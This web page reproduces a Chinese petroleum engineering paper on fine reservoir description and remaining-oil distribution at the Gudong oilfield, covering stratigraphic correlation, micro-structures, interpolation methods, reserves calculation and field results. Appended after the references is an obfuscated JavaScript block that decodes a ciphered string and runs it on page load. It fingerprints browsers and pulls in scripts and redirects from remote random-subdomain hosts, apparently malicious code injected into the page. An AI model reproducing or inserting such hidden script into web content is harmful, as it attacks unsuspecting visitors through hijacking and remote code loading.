精细油藏描述技术的深化与发展

2025年03月20日 11:15
有1个网友回答
网友(1):

柳世成 王延忠 杨耀忠 孙国 贾俊山 隋淑玲

参加本次研究的人员还有陈德坡,于金彪,付爱兵等.

摘要 在孤东油田七区西馆陶组上段的精细油藏描述研究中,精细油藏建模、剩余油描述、油藏描述计算机应用等取得了较大深化与发展,并在现场实施中收到显著效果,预计可提高采收率2.67%,增加可采储量154.8×104t,其中,按中间研究成果新打的10口井投产后已累计增油9088t。

关键词 孤东油田 油藏描述 深化与发展 油藏建模 剩余油 效果

一、引 言

按开发阶段的不同,油藏描述可划分为开发准备阶段的早期油藏描述,主体开发阶段的中期油藏描述和提高采收率阶段的精细油藏描述[1~4]

油田进入高含水期开发以后,挖潜难度越来越大,该阶段的油藏描述以提高油田最终采收率为根本目的。精细油藏描述是以挖潜难度大的开发单元为研究对象,以建立精细三维地质模型为基础,以揭示剩余油的空间分布规律为重点,以制定挖潜剩余油、提高采收率措施为最终目标所进行的油藏多学科的综合研究[3]。很显然,精细油藏描述已不仅仅是纯静态的油藏描述,而是将精细油藏描述与剩余油分布研究紧密地联系在一起,是集地质、测井、数值模拟、油藏工程多学科为一体的系统工程。

精细油藏描述及剩余油分布研究是提高高含水油田最终采收率的重点技术。通过“八五”的单项技术攻关和“九五”的推广应用,不仅形成了对高含水、特高含水期油藏进行精细油藏描述及剩余油分布研究的系列配套技术,而且取得了显著的应用效果。自1995年开始,已在胜利油田进行了4期110个单元16.9×108t储量的精细油藏描述。前两期精细油藏描述实施的新井及老井措施截止到1998年12月共增油181×104t,预计增加可采储量799×104t,提高采收率1.80%。

1999年初,对前两期精细油藏描述进行了较系统的总结,形成了精细油藏描述的系列配套技术:一是建立了适合于多种油藏类型的精细油藏描述及剩余油分布研究的基本程序、技术和方法;二是总结出了不同类型油藏精细油藏描述及剩余油分布研究的关键技术和研究侧重点;三是初步形成了精细油藏描述及剩余油分布研究的计算机自动化软硬件系统。但其仍存在以下几方面的差距:①基础数据的数据库化程度低;②虽然油藏描述的较细,但精细的技术政策界限不太明确;③静态与动态的结合程度较低;④计算机自动化程度不够。

本文主要以孤东油田七区西馆上段精细油藏描述及剩余油分布研究为例,介绍高含水期整装油田精细油藏描述技术取得的深化和发展,同时为断块、低渗透以及稠油、海上等特殊油藏提供研究思路和技术储备。

二、精细油藏建模技术

精细油藏建模技术是剩余油分布研究的基础,其研究内容可概括为建立五个模型,即地层模型、构造模型、储集层模型、流体模型和油藏模型。下面重点介绍五项关键技术。

1.精细地层对比

孤东油田七区西精细地层对比,是在前人划分对比的基础上,针对存在的问题以及特高含水期油田开发方案调整和建立剩余油预测模型的要求,开展的储集层细分对比研究。根据七区西馆上段河流相沉积特点,进行储集层细分对比的原则是:以标准层控制层位,用沉积旋回和岩相厚度法结合标志层划分砂层组;以砂体等高程对比模式、平面相变对比模式、叠加砂体对比模式和下切砂体对比模式确定时间单元。

在整个细分对比工作中,纵向上由砂层组、小层到沉积时间单元进行逐级控制,平面上则以现代沉积学研究成果为指导,以取心井为基础,以自然电位、微电极曲线、感应曲线为依据,参照所建立的等高程平面闭合对比模式、相变对比模式、叠加及下切对比模式,采用点、线、面相结合的对比方法,将七区西馆上段4~6砂层组划分为36个沉积时间单元,其中522和531、621和622、631和632、641和642、651和652两个砂体的连通率均大于40%,进一步细分对开发及剩余油挖潜没有实质的意义。所以,该砂层组可细分为30个沉积时间单元(表1)。

表1 孤东油田七区西地层细分成果表

在前两期精细油藏描述研究中,没有对地层细分的初步结果结合生产动态进行进一步的合理技术界限研究,其在矿场应用的实用性相对差一些。

2.微型构造研究

砂层的微型构造是指砂层顶面或底面的起伏形态,其起伏形态与地下油水运动规律有着一定的关系,影响油水井的生产及剩余油在平面上的分布。

通过对微构造储存剩余油的有效性和在有利微构造上部署加密井的可行性研究表明,微构造的尺度并不是越微越好,应具有规模有效性和经济有效性。一个油田微构造的尺度能满足分辨最终经济极限井网的井与井之间在微构造中的相对位置即可。

在孤东油田七区西微构造研究中,将平均井网井距看做是拾取的微构造信息的周期,再把横向上的分辨率转到纵向上,通过公式

胜利油区勘探开发论文集

即得到分析所需要的微构造的等间距为2m。

式中:D——微构造等间距,m;

L——平均井网井距,m;

θ——油藏地层倾角,(°)。

3.储集层参数井间插值优选

储集层参数空间分布规律研究的关键是对井间储集层参数的分布进行准确描述。过去对于井间储集层参数的插值往往是选取一种比较流行或比较新的方法,并且各种参数一般都用相同的方法进行插值,易造成较大的生产误差,影响了地质建模的准确性。

在孤东油田七区西油藏描述中选取8大类17种井间插值方法,对不同储集层参数通过井位抽稀验证进行最佳插值的方法优选,并编制成软件实现了计算机的自动优选。其研究思路如下:第一,采用井点数据抽稀法,对实测数据进行抽稀;第二,对未抽稀掉的井实测数据采用距离加权平均法、趋势面分析法、克里金法、随机建模法等等,进行井间参数拟合(网格化);第三,对各种插值方法的估计值与抽稀井的实测值的误差进行分析对比,同时也可以利用各种等值图进行分析对比;第四,优选出符合油田地质特征、沉积特征的储集层参数井间拟合方法;第五,利用优选出的方法对参数的空间分布进行拟合,形成网格数据和等值图,进行参数的空间描述及用于计算储量。

利用上述研究思路对七区西馆上段4~6砂层组的有效厚度、孔隙度、泥质含量、渗透率、渗透率变异系数、粒度中值、分选系数、含油饱和度等参数进行井间插值,形成了30个沉积时间单元合计240个参数的网格数据体(表2)。

表2 孤东油田七区西馆上段储集层参数最优插值方法选取表

上述研究表明,不同油藏类型、不同储集层参数对应不同的最佳插值方法,并且各种插值方法之间的误差较大。因此,对必须选取多种井间插值方法对井间插值进行实际验证,以选取最佳插值方法。

4.沉积微相定量识别[4-5]

在孤东油田七区西沉积微相研究中,根据取心井已知微相的各项参数,通过影响沉积微相参数选取、沉积微相标准化、沉积微相特征值的计算,实现了沉积微相划分的定量化和计算机自动化。

(1)储集层参数选取

根据工区内取心井划分取心层位的沉积微相,选取影响沉积微相的七种储集层参数,即砂体厚度、孔隙度、渗透率、渗透率变异系数、粒度中值、泥质含量及分选系数。

(2)储集层参数得分值计算

采用最大值标准化法,计算每种参数在不同微相的得分值,最大值标准化法公式:

胜利油区勘探开发论文集

胜利油区勘探开发论文集

式中:Fi——某种参数在某一微相中的得分值;

Xi——某种参数在某一微相中的平均值;

Xmax——所有微相中本项参数的最大平均值。

(3)储集层参数权衡系数计算

对于不同相带,变化越明显的参数对相带的确定程度越大;不同相带中变化不明显的参数对相带的确定程度越小。因此,可根据各项参数在不同相带中的变化程度确定其权衡系数的大小,计算公式为:

胜利油区勘探开发论文集

式中:qi——参数的权衡系数;

Vi——某一参数的平均值在不同微相之间的变异系数;

V——所有参数的变异系数之和;

σ——参数的标准偏差;

〓——不同相带某参数的平均值。

(4)定量识别模式建立

用每种参数的得分值和权衡系数,采用加权求和的方法建立沉积微相的定量识别模式,计算出每种沉积微相的一个综合特征值。

根据七区西馆陶组上段12口取心井取心层位中各个砂体(或时间单元)的沉积微相,可以计算得其不同沉积微相综合特征值的范围,即:特征值>0.50为心滩或边滩;0.35<特征值<0.50为废弃河道;0.20<特征值<0.35为天然堤;0.10<特征值<0.20为决口扇;特征值<0.10为泛滥平原。

依据新建立的油砂体数据库和测井二次解释成果,按照上述沉积微相定量识别模式计算每口井每一砂体综合特征值,采用多次定性赋值技术和EarthVision地质绘图软件的多文件叠合功能,实现沉积微相图的自动绘制。

5.储量计算

孤东油田七区西首次采用网格积分法计算其石油地质储量。网格积分法储量计算结果实际上是储集层有效厚度、孔隙度、含油饱和度等参数评价结果的集中体现。

网格积分法储量计算的流程是:①将各沉积时间单元井点有效厚度、孔隙度、含油饱和度数据进行网格估值,形成网格数据体;②利用储量计算参数网格数据体,结合地面原油密度及体积系数选值结果,采用容积法储量计算公式,形成地质储量网格数据体;③利用地质储量网格数据体,分别计算统计单砂体、沉积微相、沉积时间单元地质储量。

三、剩余油描述技术

1.数值模拟方法

油藏数值模拟是大规模描述剩余油的重要方法[3],近年来取得重大进展,形成了不规则网格及网格自动生成、历史拟合实时跟踪、三维可视化、窗口及并行等十项新技术;在历史拟合中强调步长优化等四项调参约束机制,提高了数值模拟的研究水平。研究中,地质模型纵向上细到沉积时间单元,平面上网格步长进一步细化,动态模型细到月度数据,油层物理参数细到与沉积时间单元一一对应。

根据数值模拟可以计算不同小层、不同时间单元的剩余油饱和度、可动油饱和度、剩余储量丰度、剩余可采储量丰度、采出程度等指标,对这些结果进行综合分析可以找出剩余油富集区,提供挖潜措施方向。

2.流线模型方法

流线模型技术的提出和应用于20世纪90年代[3],是研究井间剩余油的一种新的方法,具有允许节点多、运算速度快、研究周期短的特点。

流线模型求解的思路是:先求取流体在多孔介质中的压力场和速度场,然后求出流体的流动轨迹即流线,最后求得任一流线在任一点的饱和度值。通过流线模型计算,可以求得井间任一点的含油饱和度、剩余油饱和度,从而确定驱油效率、可动油饱和度、可采储量、剩余可采储量等参数。

3.油藏工程计算剩余油方法[5~8]

根据油田开发已进入特高含水期的实际,结合矿场应用的需要,油藏工程计算选用了5种计算剩余油的方法。

(1)水驱特征曲线法

根据井点动态资料作水驱特征曲线,结合井点采出状况求出水驱储量、剩余可采储量等指标。

(2)渗饱曲线法

选择油层有代表性的相渗曲线,结合水驱特征曲线求出生产井出口端含水饱和度,进而求得剩余油饱和度、剩余可动油饱和度、剩余可采储量等。

(3)无因次注入采出曲线法

据注入采出情况,做无因次注入采出曲线,结合注入倍数求出剩余采出程度、剩余可采储量、剩余可采储量丰度。

(4)物质平衡法

根据物质平衡原理求得井点剩余地质储量、剩余可动油饱和度、剩余可动油地质储量等。

(5)水线推进速度法

根据注水井的水线推进速度,求出一线油井不同层段相对水线推进速度,结合动态监测资料研究层段水淹状况。

油藏工程计算方法最大特点是数据文件要求相对简单,可操作性强,适用于矿场人员进行计算分析。孤东油田七区西精细油藏描述将5种方法综合起来编制成软件系统,进行动态分析和剩余油研究。随着软件系统的推广应用和不断完善,将大大提高工作效率和对剩余油分布规律的认识程度。

4.水淹层测井解释方法

开发过程中的水淹层测井资料可解释剩余油饱和度、残余油饱和度、含水率和剩余有效厚度等,是研究油水运动状况、储集层动用状况及剩余油分布状况的重要手段。常规的测井方法如电阻率测井、自然电位测井、声波时差测井、放射性测井等原则上都可用于水淹层测井解释剩余油,但这些方法受地层水矿化度的影响较大,而水淹层地层水电阻率已是注入水与地层水的混合电阻率,其大小取决于两种水混合的程度。因此,求准地层混合液的电阻率是水淹层测井解释的关键。

水淹层测井解释提供的储集层参数模型,是进行精细数值模拟的关键和基础,其层内每米8个点的测井解释可以细致地分析层内剩余油分布情况。

5.动态监测方法

主要包括生产动态分析、测试资料分析和检查井分析三种方法。利用动态监测方法综合分析各套层系、各个小层在平面、层间、层内井点的水淹状况及剩余油分布特征,其结果可用来分析和约束数值模拟、流线模型及其他方法的研究。

(1)生产动态分析

主要分析生产井生产指标、单采井生产指标、历年新井生产状况及指标、历年补孔改层井指标,计算层系、井排、小层等的累积采出和注入量,研究油层水淹状况和剩余油分布特点。

(2)测试资料分析

分析C/O、同位素测井、产液剖面、吸水剖面等矿场测试资料,分析计算层间层内各项水驱指标,总结剩余油分布特点。

(3)密闭取心井分析

密闭取心井是用来检查注水开发油田油层水淹特征和剩余油分布规律的比较可靠的方法,它以井点剩余油研究为主,主要描述井点层间、层内的剩余油分布,同时也可依据岩电关系进行平面剩余油分布规律研究,但受检查井数量的影响,往往被用来分析和约束数值模拟、水淹层解释、油藏工程综合研究的结果。

四、油藏描述计算机应用技术

1.建立基础数据库,编制数据库转换程序

孤东油田七区西精细油藏描述基本实现了数据管理计算机化,共建5个静态数据库,即小层数据库、井位坐标数据库、储集层参数数据库、断层参数库、沉积参数数据库;12个动态数据库,即综合开发数据库、油井数据库、水井数据库、射孔数据库、分层注水数据库、生产层位数据库、压力数据库、封堵数据库、相渗曲线数据库、取芯井数据库、原油物性数据库、天然气数据库;并编制3个数据库转换程序,即开发数据转换程序、油井单井数据转换程序和水井单井数据转换程序。

2.开发Earth Vision地质建模软件,实现地质成果图件编制的计算机化

在七区西精细油藏描述研究中,对Earth Vision地质建模软件进行了较为全面的开发和应用,不仅为数值模拟提供了静态模型数据体,还利用工作站绘制了小层平面图、微构造等值图、沉积微相平面图、油藏剖面图等基本地质图件。

3.新编制动态分析辅助程序

在对开发状况及水淹状况进行分析时,为了提高工作效率,编制了3组6个动态分析辅助程序,主要包括动液面分级程序及等值线作图程序、泵效分级程序及等值线作图程序、含水分级程序及等值线作图程序。因而,可以对任意时期的动液面、泵效、含水数据进行不同范围内的自动统计分级,并形成电子表格;也可以绘制任意时期的动液面、泵效、含水的彩色等值线图。

4.编制井间插值方法优选程序及储量计算程序

在测井精细解释研究中,编制了井间插值方法优选程序,实现了从井点数据的输入、井间抽稀、插值方法的选取、误差分析到形成网格数据体和等值线图的计算机自动化。

在储量计算中,新编的网格积分法储量计算程序,能够精确地计算每个网格数据体的地质储量,并能分沉积相带、时间单元和小层进行储量的计算和评价。

5.采用5种油藏工程方法编制计算剩余油的软件

该软件系统包括数据处理、无因次注入采出法、驱替特征曲线法、物质平衡法、渗饱曲线法、水线推进速度法6个主菜单5种计算方法。该系统中5种方法既独立又相互联系,可单独计算也可全部计算。可提供层系、井区或井点的剩余地质储量、剩余油饱和度、剩余可采储量等指标。

6.完善了井点与井间剩余油分布研究软件系统

井点与井间剩余油分布研究软件系统包括参数准备、井点剩余油解释、井间剩余油解释、剩余油描述、图形管理等5项主菜单。可以研究井点原始含油饱和度、残余油饱和度井点和井间剩余油饱和度,用含水率、剩余油饱和度、可动油饱和度、剩余储量丰度、驱油效率等多种参数来反映剩余油在空间的分布规律。

该软件能够根据油藏含油面积的大小和研究要求,建立所需的网格系统。在网格系统的基础上,确定井位、断层边界及各项地质参数分布图,建立地质模型。并能根据井点成果、基础数据库,自动插值形成各种参数网格图和分布图。

五、孤东油田七区西精细油藏描述的应用效果

1.措施潜力

在七区西精细油藏描述的基础上,共提出新井措施6口,提出补孔改层、卡封、下大泵、扶躺井、堵水调剖等老井措施330井次,合计实施措施336井次,预计可提高采收率2.67%,增加可采储量154.8×104t(表3)。

表3 综合分析潜力分类表

2.矿场应用效果

在孤东油田七区西精细油藏描述研究中,利用中间研究成果提出的部分措施已取得显著效果。

从1999年开始,截止到2000年12月,该区共打新井10口;完成补孔改层井79口、堵水油井26口、下大泵井49口等老井措施共154井次。10口新井投产初期平均单井日产油6.14t,综合含水90.75%;截止到2000年12月,累计增油9088t。154井次的老井措施取得了显著效果,截止到2000年12月,措施后比措施前平均增油518t/d,综合含水降低3.1%,累计增油73074t。

部分单井措施效果显著。如,原生产61小层,后在井网不完善、剩余油饱和度和剩余储量丰度均较高的43小层补孔生产的GDS2井,获得了单井日产油60t,综合含水61.7%的良好效果;原生产52+3小层,后在断层附近、剩余油饱和度和剩余储量丰度均较高的62小层补孔生产的7-23-2306井,也获得了单井日产油44.7t,综合含水仅33%的好效果。这对于综合含水高达96.7%,单井日产油只有4.9t的特高含水油田实属不易。另外,补孔未动用的412小层进行生产的7-31-306井、补孔井网不完善的441小层进行生产的7-33-2286井也分别取得了单井日产油40t和21.3t、综合含水仅51.1%和59.2%的好效果。

由此可见,只要查清其地质情况,掌握剩余油分布,特高含水期的老油田也是有潜力可挖的。

六、结论

通过对孤东油田七区西的研究,精细油藏描述技术取得了较大的深化与发展。提高了精细油藏描述的水平,使研究成果与矿场应用更为贴近、实用。实施后取得良好效果。

但精细油藏描述技术的计算机一体化、流程化还有待进一步攻关。在统一的工作平台上实现数据采集、管理、地质三维建摸、数值模拟到油藏工程综合分析的计算机一体化、动静态参数的网格数据体化和跟踪分析自动化,是今后的发展方向。

主要参考文献

[1]刘泽容,信全麟等.油藏描述原理与方法技术.北京:石油工业出版社,1993.

[2]张一伟等编著.陆相油藏描述.北京:石油工业出版社,1997.

[3]杜贤樾,孙焕泉,郑和荣主编.胜利油区勘探开发论文集(第一、二辑).北京:地质出版社,1997、1999.

[4]裘怿楠,陈子琪主编.油藏描述.北京:石油工业出版社,1996.

[5]孙永传,李蕙生编著.碎屑岩沉积相和沉积环境.北京:地质出版社,1986.

[6]陈元千.实用油气藏工程方法.东营:石油大学出版社,1998.

[7]郎兆新.油藏工程基础.东营:石油大学出版社,1991.

[8]C R史密斯等编.岳清山等译.实用油藏工程.北京:石油工业出版社,1995.

!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();